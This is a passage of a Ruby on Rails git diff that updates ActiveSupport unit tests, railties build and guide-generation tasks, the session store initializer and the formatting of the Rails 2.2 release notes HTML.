# Should replace the hash with only the given keys when given an array key.
assert_equal expected, original.slice!([:a, :b], :c)
- assert_equal expected, original
end
def test_slice_with_splatted_keys
@@ -322,11 +330,17 @@ class HashExtTest < Test::Unit::TestCase
# Should return a new hash with only the given keys.
assert_equal expected, original.slice(*keys), keys.inspect
assert_not_equal expected, original
+ end
+ end
+ def test_indifferent_slice_inplace
+ original = { :a => 'x', :b => 'y', :c => 10 }.with_indifferent_access
+ expected = { :c => 10 }.with_indifferent_access
+
+ [['a', 'b'], [:a, :b]].each do |keys|
# Should replace the hash with only the given keys.
copy = original.dup
assert_equal expected, copy.slice!(*keys)
- assert_equal expected, copy
end
end
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
index 5ab36226a1..b7006a5c86 100644
--- a/activesupport/test/core_ext/integer_ext_test.rb
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -28,8 +28,8 @@ class IntegerExtTest < Test::Unit::TestCase
end
def test_ordinalize
- # These tests are mostly just to ensure that the ordinalize method exists
- # It's results are tested comprehensively in the inflector test cases.
+ # These tests are mostly just to ensure that the ordinalize method exists.
+ # Its results are tested comprehensively in the inflector test cases.
assert_equal '1st', 1.ordinalize
assert_equal '8th', 8.ordinalize
1000000000000000000000000000000000000000000000000000000000000000000000.ordinalize
diff --git a/activesupport/test/core_ext/object_and_class_ext_test.rb b/activesupport/test/core_ext/object_and_class_ext_test.rb
index 2f79b6f67f..0bdbd14f33 100644
--- a/activesupport/test/core_ext/object_and_class_ext_test.rb
+++ b/activesupport/test/core_ext/object_and_class_ext_test.rb
@@ -256,21 +256,13 @@ class ObjectTryTest < Test::Unit::TestCase
def test_nonexisting_method
method = :undefined_method
assert !@string.respond_to?(method)
- assert_nil @string.try(method)
+ assert_raises(NoMethodError) { @string.try(method) }
end
def test_valid_method
assert_equal 5, @string.try(:size)
end
- def test_valid_private_method
- class << @string
- private :size
- end
-
- assert_equal 5, @string.try(:size)
- end
-
def test_argument_forwarding
assert_equal 'Hey', @string.try(:sub, 'llo', 'y')
end
@@ -278,4 +270,13 @@ class ObjectTryTest < Test::Unit::TestCase
def test_block_forwarding
assert_equal 'Hey', @string.try(:sub, 'llo') { |match| 'y' }
end
+
+ def test_nil_to_type
+ assert_nil nil.try(:to_s)
+ assert_nil nil.try(:to_i)
+ end
+
+ def test_false_try
+ assert_equal 'false', false.try(:to_s)
+ end
end
diff --git a/activesupport/test/core_ext/object_ext_test.rb b/activesupport/test/core_ext/object_ext_test.rb
new file mode 100644
index 0000000000..a413d331c4
--- /dev/null
+++ b/activesupport/test/core_ext/object_ext_test.rb
@@ -0,0 +1,8 @@
+require 'abstract_unit'
+
+class ObjectExtTest < Test::Unit::TestCase
+ def test_tap_yields_and_returns_self
+ foo = Object.new
+ assert_equal foo, foo.tap { |x| assert_equal foo, x; :bar }
+ end
+end
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index dc36336239..4dc1fec559 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -105,6 +105,15 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
end
+ def test_xmlschema_with_fractional_seconds
+ silence_warnings do # silence warnings raised by tzinfo gem
+ @twz += 0.123456 # advance the time by a fraction of a second
+ assert_equal "1999-12-31T19:00:00.123-05:00", @twz.xmlschema(3)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(6)
+ assert_equal "1999-12-31T19:00:00.123456-05:00", @twz.xmlschema(12)
+ end
+ end
+
def test_to_yaml
silence_warnings do # silence warnings raised by tzinfo gem
assert_equal "--- 1999-12-31 19:00:00 -05:00\n", @twz.to_yaml
@@ -256,6 +265,15 @@ class TimeWithZoneTest < Test::Unit::TestCase
twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
assert_equal 86_400.0, twz2 - twz1
end
+
+ def test_minus_with_datetime
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+ end
+
+ def test_minus_with_wrapped_datetime
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+ end
def test_plus_and_minus_enforce_spring_dst_rules
silence_warnings do # silence warnings raised by tzinfo gem
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 19ae3a01a8..558b03b90d 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -15,7 +15,8 @@ class TestJSONDecoding < Test::Unit::TestCase
# no time zone
%({a: "2007-01-01 01:12:34"}) => {'a' => "2007-01-01 01:12:34"},
# needs to be *exact*
- %({a: " 2007-01-01 01:12:34 Z "}) => {'a' => " 2007-01-01 01:12:34 Z "},
+ %({a: " 2007-01-01 01:12:34 Z "}) => {'a' => " 2007-01-01 01:12:34 Z "},
+ %({a: "2007-01-01 : it's your birthday"}) => {'a' => "2007-01-01 : it's your birthday"},
%([]) => [],
%({}) => {},
%(1) => 1,
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 8ed21cc9ad..2c5b4d0378 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -59,7 +59,7 @@ class TestJSONEncoding < Test::Unit::TestCase
assert_equal %({\"a\": \"b\"}), { :a => :b }.to_json
assert_equal %({\"a\": 1}), { 'a' => 1 }.to_json
assert_equal %({\"a\": [1, 2]}), { 'a' => [1,2] }.to_json
- assert_equal %({1: 2}), { 1 => 2 }.to_json
+ assert_equal %({"1": 2}), { 1 => 2 }.to_json
sorted_json = '{' + {:a => :b, :c => :d}.to_json[1..-2].split(', ').sort.join(', ') + '}'
assert_equal %({\"a\": \"b\", \"c\": \"d\"}), sorted_json
@@ -80,7 +80,7 @@ class TestJSONEncoding < Test::Unit::TestCase
def test_hash_key_identifiers_are_always_quoted
values = {0 => 0, 1 => 1, :_ => :_, "$" => "$", "a" => "a", :A => :A, :A0 => :A0, "A0B" => "A0B"}
- assert_equal %w( "$" "A" "A0" "A0B" "_" "a" 0 1 ), object_keys(values.to_json)
+ assert_equal %w( "$" "A" "A0" "A0B" "_" "a" "0" "1" ).sort, object_keys(values.to_json)
end
def test_hash_should_allow_key_filtering_with_only
diff --git a/activesupport/test/ordered_hash_test.rb b/activesupport/test/ordered_hash_test.rb
index 0e2aa4543d..fb76ca1ab6 100644
--- a/activesupport/test/ordered_hash_test.rb
+++ b/activesupport/test/ordered_hash_test.rb
@@ -98,7 +98,8 @@ class OrderedHashTest < Test::Unit::TestCase
end
def test_delete_if
- (copy = @ordered_hash.dup).delete('pink')
+ copy = @ordered_hash.dup
+ copy.delete('pink')
assert_equal copy, @ordered_hash.delete_if { |k, _| k == 'pink' }
assert !@ordered_hash.keys.include?('pink')
end
@@ -115,6 +116,7 @@ class OrderedHashTest < Test::Unit::TestCase
new_ordered_hash = @ordered_hash.reject { |k, _| k == 'pink' }
assert_equal copy, @ordered_hash
assert !new_ordered_hash.keys.include?('pink')
+ assert @ordered_hash.keys.include?('pink')
end
def test_clear
@@ -140,4 +142,10 @@ class OrderedHashTest < Test::Unit::TestCase
assert_equal [@keys.first, @values.first], pair
assert !@ordered_hash.keys.include?(pair.first)
end
+
+ def test_keys
+ original = @ordered_hash.keys.dup
+ @ordered_hash.keys.pop
+ assert_equal original, @ordered_hash.keys
+ end
end \ No newline at end of file
diff --git a/railties/CHANGELOG b/railties/CHANGELOG
index b313f082a3..b36f57f75d 100644
--- a/railties/CHANGELOG
+++ b/railties/CHANGELOG
@@ -1,5 +1,11 @@
*2.3.0 [Edge]*
+* Remove script/performance/profiler in favour of performance integration tests. [Pratik Naik]
+
+ To continue using script/performance/profiler, install the request_profiler plugin :
+
+ script/plugin install git://github.com/rails/request_profiler.git
+
* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik]
* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally]
diff --git a/railties/MIT-LICENSE b/railties/MIT-LICENSE
index 93be57f683..e6df48772f 100644
--- a/railties/MIT-LICENSE
+++ b/railties/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2008 David Heinemeier Hansson
+Copyright (c) 2004-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/railties/Rakefile b/railties/Rakefile
index 692c96ddbb..be0f449efc 100644
--- a/railties/Rakefile
+++ b/railties/Rakefile
@@ -272,7 +272,7 @@ Rake::RDocTask.new { |rdoc|
rdoc.rdoc_files.include('lib/commands/**/*.rb')
}
-desc "Generate guides for the framework"
+desc "Generate guides for the framework. Use ONLY='migrations i18n.txt' option to build just specific ones."
task :guides do
require 'mizuho/generator'
@@ -289,8 +289,18 @@ task :guides do
indexless = ['index.txt', 'authors.txt']
- # Traverse all entries in doc/guides/source/
- Dir.entries(source).each do |entry|
+ # Traverse all entries in doc/guides/source/ or only those specified in ONLY env variable
+ entries = Dir.entries(source)
+ if ENV['ONLY']
+ only = ENV['ONLY'].split(' ')
+ unless only.empty?
+ entries = entries.select do |e|
+ only.include?(e) || only.include?(e.sub(/\.txt$/, ''))
+ end
+ end
+ end
+
+ entries.each do |entry|
next if ignore.include?(entry)
if File.directory?(File.join(source, entry))
diff --git a/railties/bin/performance/request b/railties/bin/performance/request
deleted file mode 100755
index ae3f38c74b..0000000000
--- a/railties/bin/performance/request
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-require File.dirname(__FILE__) + '/../../config/boot'
-require 'commands/performance/request'
diff --git a/railties/configs/initializers/session_store.rb b/railties/configs/initializers/session_store.rb
index 40179e0aa3..4499ab84b6 100644
--- a/railties/configs/initializers/session_store.rb
+++ b/railties/configs/initializers/session_store.rb
@@ -5,7 +5,7 @@
# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
ActionController::Base.session = {
- :session_key => '_<%= app_name %>_session',
+ :key => '_<%= app_name %>_session',
:secret => '<%= app_secret %>'
}
diff --git a/railties/doc/README_FOR_APP b/railties/doc/README_FOR_APP
index e33b85817b..fe41f5cc24 100644
--- a/railties/doc/README_FOR_APP
+++ b/railties/doc/README_FOR_APP
@@ -1,5 +1,2 @@
-To build the guides:
-
-* Install source-highlighter (http://www.gnu.org/software/src-highlite/source-highlight.html)
-* Install the mizuho gem (http://github.com/FooBarWidget/mizuho/tree/master)
-* Run `rake guides` from the railties directory \ No newline at end of file
+Use this README file to introduce your application and point to useful places in the API for learning more.
+Run "rake doc:app" to generate API documentation for your models, controllers, helpers, and libraries.
diff --git a/railties/doc/guides/html/2_2_release_notes.html b/railties/doc/guides/html/2_2_release_notes.html
index 778144b688..0dec014c3e 100644
--- a/railties/doc/guides/html/2_2_release_notes.html
+++ b/railties/doc/guides/html/2_2_release_notes.html
@@ -1,307 +1,139 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Ruby on Rails 2.2 Release Notes</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>Ruby on Rails 2.2 Release Notes</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_infrastructure">Infrastructure</a>
- <ul>
-
- <li><a href="#_internationalization">Internationalization</a></li>
-
- <li><a href="#_compatibility_with_ruby_1_9_and_jruby">Compatibility with Ruby 1.9 and JRuby</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_documentation">Documentation</a>
- </li>
- <li>
- <a href="#_better_integration_with_http_out_of_the_box_etag_support">Better integration with HTTP : Out of the box ETag support</a>
- </li>
- <li>
- <a href="#_thread_safety">Thread Safety</a>
- </li>
- <li>
- <a href="#_active_record">Active Record</a>
- <ul>
-
- <li><a href="#_transactional_migrations">Transactional Migrations</a></li>
-
- <li><a href="#_connection_pooling">Connection Pooling</a></li>
-
- <li><a href="#_hashes_for_join_table_conditions">Hashes for Join Table Conditions</a></li>
-
- <li><a href="#_new_dynamic_finders">New Dynamic Finders</a></li>
-
- <li><a href="#_associations_respect_private_protected_scope">Associations Respect Private/Protected Scope</a></li>
-
- <li><a href="#_other_activerecord_changes">Other ActiveRecord Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_action_controller">Action Controller</a>
- <ul>
-
- <li><a href="#_shallow_route_nesting">Shallow Route Nesting</a></li>
-
- <li><a href="#_method_arrays_for_member_or_collection_routes">Method Arrays for Member or Collection Routes</a></li>
-
- <li><a href="#_resources_with_specific_actions">Resources With Specific Actions</a></li>
-
- <li><a href="#_other_action_controller_changes">Other Action Controller Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_action_view">Action View</a>
- </li>
- <li>
- <a href="#_action_mailer">Action Mailer</a>
- </li>
- <li>
- <a href="#_active_support">Active Support</a>
- <ul>
-
- <li><a href="#_memoization">Memoization</a></li>
-
- <li><a href="#_tt_each_with_object_tt"><tt>each_with_object</tt></a></li>
-
- <li><a href="#_delegates_with_prefixes">Delegates With Prefixes</a></li>
-
- <li><a href="#_other_active_support_changes">Other Active Support Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_railties">Railties</a>
- <ul>
-
- <li><a href="#_tt_config_gems_tt"><tt>config.gems</tt></a></li>
-
- <li><a href="#_other_railties_changes">Other Railties Changes</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_deprecated">Deprecated</a>
- </li>
- <li>
- <a href="#_credits">Credits</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Ruby on Rails 2.2 Release Notes</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_infrastructure">Infrastructure</a>
+ <ul>
+
+ <li><a href="#_internationalization">Internationalization</a></li>
+
+ <li><a href="#_compatibility_with_ruby_1_9_and_jruby">Compatibility with Ruby 1.9 and JRuby</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_documentation">Documentation</a>
+ </li>
+ <li>
+ <a href="#_better_integration_with_http_out_of_the_box_etag_support">Better integration with HTTP : Out of the box ETag support</a>
+ </li>
+ <li>
+ <a href="#_thread_safety">Thread Safety</a>
+ </li>
+ <li>
+ <a href="#_active_record">Active Record</a>
+ <ul>
+
+ <li><a href="#_transactional_migrations">Transactional Migrations</a></li>
+
+ <li><a href="#_connection_pooling">Connection Pooling</a></li>
+
+ <li><a href="#_hashes_for_join_table_conditions">Hashes for Join Table Conditions</a></li>
+
+ <li><a href="#_new_dynamic_finders">New Dynamic Finders</a></li>
+
+ <li><a href="#_associations_respect_private_protected_scope">Associations Respect Private/Protected Scope</a></li>
+
+ <li><a href="#_other_activerecord_changes">Other ActiveRecord Changes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_action_controller">Action Controller</a>
+ <ul>
+
+ <li><a href="#_shallow_route_nesting">Shallow Route Nesting</a></li>
+
+ <li><a href="#_method_arrays_for_member_or_collection_routes">Method Arrays for Member or Collection Routes</a></li>
+
+ <li><a href="#_resources_with_specific_actions">Resources With Specific Actions</a></li>
+
+ <li><a href="#_other_action_controller_changes">Other Action Controller Changes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_action_view">Action View</a>
+ </li>
+ <li>
+ <a href="#_action_mailer">Action Mailer</a>
+ </li>
+ <li>
+ <a href="#_active_support">Active Support</a>
+ <ul>
+
+ <li><a href="#_memoization">Memoization</a></li>
+
+ <li><a href="#_tt_each_with_object_tt"><tt>each_with_object</tt></a></li>
+
+ <li><a href="#_delegates_with_prefixes">Delegates With Prefixes</a></li>
+
+ <li><a href="#_other_active_support_changes">Other Active Support Changes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_railties">Railties</a>
+ <ul>
+
+ <li><a href="#_tt_config_gems_tt"><tt>config.gems</tt></a></li>
+
+ <li><a href="#_other_railties_changes">Other Railties Changes</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_deprecated">Deprecated</a>
+ </li>
+ <li>
+ <a href="#_credits">Credits</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>Ruby on Rails 2.2 Release Notes</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p></div>
-<div class="para"><p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p></div>
+<div class="paragraph"><p>Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn&#8217;t include every little bug fix and change. If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p></div>
+<div class="paragraph"><p>Along with Rails, 2.2 marks the launch of the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a>, the first results of the ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>. This site will deliver high-quality documentation of the major features of Rails.</p></div>
</div>
</div>
<h2 id="_infrastructure">1. Infrastructure</h2>
<div class="sectionbody">
-<div class="para"><p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p></div>
+<div class="paragraph"><p>Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.</p></div>
<h3 id="_internationalization">1.1. Internationalization</h3>
-<div class="para"><p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributors: Rails i18 Team
@@ -311,7 +143,7 @@ Lead Contributors: Rails i18 Team
<p>
More information :
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://rails-i18n.org">Official Rails i18 website</a>
@@ -331,12 +163,12 @@ More information :
</li>
</ul></div>
<h3 id="_compatibility_with_ruby_1_9_and_jruby">1.2. Compatibility with Ruby 1.9 and JRuby</h3>
-<div class="para"><p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p></div>
+<div class="paragraph"><p>Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.</p></div>
</div>
<h2 id="_documentation">2. Documentation</h2>
<div class="sectionbody">
-<div class="para"><p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the <a href="http://guides.rubyonrails.org/">Ruby on Rails Guides</a> project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://guides.rubyonrails.org/getting_started_with_rails.html">Getting Started with Rails</a>
@@ -408,17 +240,16 @@ More information :
</p>
</li>
</ul></div>
-<div class="para"><p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p></div>
-<div class="para"><p>If you want to generate these guides locally, inside your application:</p></div>
+<div class="paragraph"><p>All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.</p></div>
+<div class="paragraph"><p>If you want to generate these guides locally, inside your application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>rake doc<span style="color: #990000">:</span>guides
-</tt></pre></div></div>
-<div class="para"><p>This will put the guides inside <tt>RAILS_ROOT/doc/guides</tt> and you may start surfing straight away by opening <tt>RAILS_ROOT/doc/guides/index.html</tt> in your favourite browser.</p></div>
-<div class="ilist"><ul>
+<pre><tt>rake doc<span style="color: #990000">:</span>guides</tt></pre></div></div>
+<div class="paragraph"><p>This will put the guides inside <tt>RAILS_ROOT/doc/guides</tt> and you may start surfing straight away by opening <tt>RAILS_ROOT/doc/guides/index.html</tt> in your favourite browser.</p></div>
+<div class="ulist"><ul>
<li>
<p>
Lead Contributors: <a href="http://guides.rails.info/authors.html">Rails Documentation Team</a>
@@ -433,7 +264,7 @@ Major contributions from <a href="http://advogato.org/person/fxn/diary.html">Xav
<p>
More information:
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a>
@@ -450,7 +281,7 @@ More information:
</div>
<h2 id="_better_integration_with_http_out_of_the_box_etag_support">3. Better integration with HTTP : Out of the box ETag support</h2>
<div class="sectionbody">
-<div class="para"><p>Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.</p></div>
+<div class="paragraph"><p>Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn&#8217;t been modified lately. This allows you to check whether a response needs to be sent at all.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -484,26 +315,24 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-style: italic"><span style="color: #9A1900"># instead of rendering the template.</span></span>
fresh_when<span style="color: #990000">(:</span>last_modified <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">.</span>published_at<span style="color: #990000">.</span>utc<span style="color: #990000">,</span> <span style="color: #990000">:</span>etag <span style="color: #990000">=&gt;</span> <span style="color: #009900">@article</span><span style="color: #990000">)</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
<h2 id="_thread_safety">4. Thread Safety</h2>
<div class="sectionbody">
-<div class="para"><p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p></div>
-<div class="para"><p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p></div>
+<div class="paragraph"><p>The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.</p></div>
+<div class="paragraph"><p>To enable multithreaded dispatching in production mode of your application, add the following line in your <tt>config/environments/production.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>threadsafe!
-</tt></pre></div></div>
-<div class="ilist"><ul>
+<pre><tt>config<span style="color: #990000">.</span>threadsafe!</tt></pre></div></div>
+<div class="ulist"><ul>
<li>
<p>
More information :
</p>
-<div class="ilist"><ul>
+<div class="ulist"><ul>
<li>
<p>
<a href="http://m.onkey.org/2008/10/23/thread-safety-for-your-rails">Thread safety for your Rails</a>
@@ -525,10 +354,10 @@ More information :
</div>
<h2 id="_active_record">5. Active Record</h2>
<div class="sectionbody">
-<div class="para"><p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p></div>
+<div class="paragraph"><p>There are two big additions to talk about here: transactional migrations and pooled database transactions. There&#8217;s also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.</p></div>
<h3 id="_transactional_migrations">5.1. Transactional Migrations</h3>
